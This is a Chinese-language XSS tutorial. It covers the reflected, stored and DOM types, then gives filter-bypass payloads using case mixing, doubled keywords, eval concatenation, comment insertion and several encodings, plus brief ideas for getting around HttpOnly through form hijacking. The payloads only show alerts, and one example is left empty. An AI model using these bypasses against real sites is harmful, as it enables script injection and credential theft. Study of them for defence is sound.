0x01 分类

1、反射型

也分为GET和POST两种,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

2、存储型

持久化,代码是存储在服务器中的,如在个人信息、发表文章、发表评论等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。

3、DOM型

不经过后端,基于文档对象模型的一种漏洞,它是通过url传入参数去控制触发的,其实也属于反射型。

0x02 绕过方法

一、过滤关键字

1.1 大小写绕过

<a Href="JavasCript:aLert('xss')">

1.2 双写关键字绕过

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过:

<a hhrefref="javascripscriptt:alert('xss')">

1.3 字符串拼接

  1. 通过利用eval函数:

    <a href="a='javascri';b='pt:aler';c='t';d='('xss')';eval(a+b+c+d)">

  2. 通过利用top函数:

    <script>top["ale"+"rt"]('xss')</script>

1.4 使用注释进行干扰绕过

<scri<!--aaa-->pt>alert(123)</scri<!--bbb-->pt>

1.5 编码绕过

  1. Unicode编码绕过

    <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;">

    <a href="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029">

  2. url编码绕过

    <a href="%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%27%78%73%73%27%29">

  3. Ascii码绕过

    <a href="">

三、HttpOnly

HttpOnly是Set-Cookie HTTP响应头中包含的附加标志,开启后如果检测到检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取cookie,则浏览器会返回一个空字符作为结果。这样可以防止恶意(通常是XSS)代码将数据发送到攻击者的网站,从而导致攻击失败。

3.1、绕过方法

  1. 浏览器未保存账号密码,需要xss产生登录地址,利用表单劫持
  2. 浏览器保存密码,产生在后台的xss,存储型xss如留言等,浏览器读取账号密码